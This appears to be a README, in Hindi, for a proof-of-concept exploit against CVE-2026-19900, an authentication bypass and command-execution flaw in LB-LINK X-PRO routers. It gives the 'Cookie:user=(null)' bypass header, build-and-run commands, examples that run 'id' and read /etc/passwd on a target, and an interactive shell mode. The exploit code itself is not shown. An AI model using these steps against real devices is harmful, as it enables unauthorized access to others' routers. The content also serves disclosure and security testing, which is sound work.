CVE-2026-19900 LB-LINK X-PRO प्रमाणीकरण बायपास और null उपयोगकर्ता के माध्यम से RCE

CVE-2026-19900 हार्डकोडेड क्रेडेंशियल और प्रमाणीकरण बायपास RCE null उपयोगकर्ता के माध्यम से।

हेडर के माध्यम से बायपास: Cookie:user=(null)

उपयोग

लक्ष्य होस्ट के साथ स्क्रिप्ट बनाएं और चलाएं:

go build cve-2026-19900-PoC.go
./cve-2026-19900-PoC -t http://target:8080/ -c "id"

बिना बिल्ड के

go run cve-2026-19900-PoC.go -t http://target:8080/ -c "cat /etc/passwd"

इंटरैक्टिव मोड

./cve-2026-19900-PoC -t http://target:8080/ -i

तर्क

• -t: लक्ष्य IP पता या होस्टनाम (आवश्यक)
• -c: cmd पेलोड भेजें
• -i: इंटरैक्टिव मोड (-c <cmd> की आवश्यकता नहीं है)

Nuclei टेम्पलेट: (0x_Akoko द्वारा टेम्पलेट)

https://cloud.projectdiscovery.io/library/CVE-2026-19900

संदर्भ

https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md https://nvd.nist.gov/vuln/detail/CVE-2026-19900 https://github.com/DavCloudz/cve/blob/main/B-Link/B-Link%20AC1200%20X-PRO(AC6)%20Hardcoded%20Credentials%20Vulnerability.md https://vuldb.com/cve/CVE-2026-19900 https://vuldb.com/submit/870712